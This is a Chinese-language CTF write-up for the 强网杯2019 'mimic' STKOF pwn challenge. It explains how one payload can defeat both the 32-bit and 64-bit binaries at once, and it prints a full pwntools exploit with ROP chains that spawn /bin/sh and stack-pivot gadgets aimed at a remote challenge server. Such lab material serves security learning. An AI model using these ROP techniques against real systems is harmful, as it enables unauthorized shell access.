BUU-强网杯2019 拟态 STKOF-WP

Posted on Dec 2, 2020

拟态的题目这是第一道,也是第一次听说。所以看到两个二进制文件的时候就迷惑了。我完全就是看着别人的wp学习了一下。不过这道题还是很有意思的。

拟态防御就是通过异构来实现对输入的监控,拿这道题来说,一个64位和一个32的几乎完全相同的程序,在输入正常的时候程序的输出应该完全相同,但是一些恶意的输入就可能会有不同的输出。如果监控程序监测到不同的输出,就会直接终止程序,从而起到防御的效果。

对于这道题而言,由于他是静态链接的,所以有大量的gadgets,ropchain可以直接用ROPgadget生成(ROPgadget有这个功能我也是第一次听说)。

直接通过ROPgadget --binary pwn --ropchain就可以生成

在前面加上正确的偏移就可以拿shell。当然这道题我们为了让ropchain稍微短一点防止被read截断,需要手动修改一下这个chain,显然这么多次的inc eax可以直接通过pop eax的gadget实现。

那么现在的问题就是如何构造一个既可以在32位程序上实现利用又可以在64位上实现的payload了。32位的栈偏移为0x10C+4,64位的为0x110+8,所以payload的是可以构造的,首先我们用0x110个字符填满32位的偏移,然后在return address处填上add esp的gadget实现栈迁移,迁移到64位的return address后面,在这后面写上32位的ropchain就可以在32位的程序上拿shell,而64位的return address同样填上add rsp的gadget栈迁移到32位的ropchain后,就可以在两个程序中都拿shell,这些gadgets都可以通过ROPgadget来找到。

实现输出相同很容易,读入用的是read,我们只要写入\x00将输出截断就可以了

所以最后的exp:

from pwn import *                                                   
from struct import *                                                
context(log_level = 'debug',os = 'linux',arch = 'i386')             
                                                                    
#sh = process("./pwn2")                                             
#sh = process("./pwn")                                              
sh = remote("node3.buuoj.cn","27249")                               
                                                                    
p = ''                                                              
                                                                    
p += pack('<I', 0x0806e9cb) # pop edx ; ret                         
p += pack('<I', 0x080d9060) # @ .data                               
p += pack('<I', 0x080a8af6) # pop eax ; ret                         
p += '/bin'                                                         
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret        
p += pack('<I', 0x0806e9cb) # pop edx ; ret                         
p += pack('<I', 0x080d9064) # @ .data + 4                           
p += pack('<I', 0x080a8af6) # pop eax ; ret                         
p += '//sh'                                                         
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret        
p += pack('<I', 0x0806e9cb) # pop edx ; ret                         
p += pack('<I', 0x080d9068) # @ .data + 8                           
p += pack('<I', 0x08056040) # xor eax, eax ; ret                    
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret        
p += pack('<I', 0x080481c9) # pop ebx ; ret                         
p += pack('<I', 0x080d9060) # @ .data                               
p += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; ret               
p += pack('<I', 0x080d9068) # @ .data + 8                           
p += pack('<I', 0x080d9060) # padding without overwrite ebx         
p += pack('<I', 0x0806e9cb) # pop edx ; ret                         
p += pack('<I', 0x080d9068) # @ .data + 8                           
p += pack('<I', 0x08056040) # xor eax, eax ; ret                    
p += pack('<I', 0x080a8af6) # pop eax ; ret                         
p += p32(0xb)                                                       
p += pack('<I', 0x080495a3) # int 0x80                              
payload32 = p                                                       
                                                                    
p = ''                                                              
                                                                    
p += pack('<Q', 0x0000000000405895) # pop rsi ; ret                 
p += pack('<Q', 0x00000000006a10e0) # @ .data                       
p += pack('<Q', 0x000000000043b97c) # pop rax ; ret                 
p += '/bin//sh'                                                     
p += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000405895) # pop rsi ; ret                 
p += pack('<Q', 0x00000000006a10e8) # @ .data + 8                           
p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret                    
p += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret        
p += pack('<Q', 0x00000000004005f6) # pop rdi ; ret                         
p += pack('<Q', 0x00000000006a10e0) # @ .data                               
p += pack('<Q', 0x0000000000405895) # pop rsi ; ret                         
p += pack('<Q', 0x00000000006a10e8) # @ .data + 8                           
p += pack('<Q', 0x000000000043b9d5) # pop rdx ; ret                         
p += pack('<Q', 0x00000000006a10e8) # @ .data + 8                           
p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret                    
p += pack('<Q', 0x000000000043b97c) # pop rax ; ret                         
p += p64(0x3b)                                                              
p += pack('<Q', 0x00000000004011dc) # syscall                               
payload64 = p                                                               
                                                                            
add_esp_0ch_addr =  0x080a8f69                                              
add_rsp_d8h_addr = 0x00000000004079d4                                       
                                                                            
payload = 'a'.ljust(0x10c + 0x4,'\x00') + p32(add_esp_0ch_addr) + '\x00'*4  
payload += p64(add_rsp_d8h_addr) + payload32.ljust(0xd8,'\x00') + payload64 
                                                                            
sh.sendlineafter("We give you a little challenge, try to pwn it?\n",payload)
                                                                            
sh.interactive()                                                            

参考https://xz.aliyun.com/t/5532